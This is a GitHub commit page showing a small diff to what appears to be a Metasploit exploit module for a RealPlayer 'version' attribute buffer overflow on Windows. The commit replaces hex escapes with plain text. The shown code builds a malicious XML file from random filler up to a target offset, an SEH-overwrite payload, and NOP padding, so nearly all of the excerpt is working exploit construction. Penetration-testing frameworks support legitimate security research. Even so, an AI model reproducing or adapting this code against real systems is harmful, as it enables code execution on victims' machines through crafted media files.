Skip to content

Commit 0ac495f

Browse files
author
sgabe
committed
Replaced hex with plain text.
1 parent 44ab583 commit 0ac495f

File tree

1 file changed

+2
-2
lines changed

1 file changed

+2
-2
lines changed

modules/exploits/windows/fileformat/realplayer_ver_attribute_bof.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -76,11 +76,11 @@ def initialize(info = {})
7676

7777
def exploit
7878

79-
sploit = "\x3c\x3f\x78\x6d\x6c\x20\x76\x65\x72\x73\x69\x6f\x6e\x3d\x22"
79+
sploit = "<?xml version=\"";
8080
sploit << rand_text_alpha_upper(target['Offset'])
8181
sploit << generate_seh_payload(target.ret)
8282
sploit << make_nops(target['Max']-sploit.length)
83-
sploit << "\x22\x3f\x3e\x3b"
83+
sploit << "\"?>";
8484

8585
# Create the file
8686
print_status("Creating '#{datastore['FILENAME']}' file ...")

0 commit comments

Comments
 (0)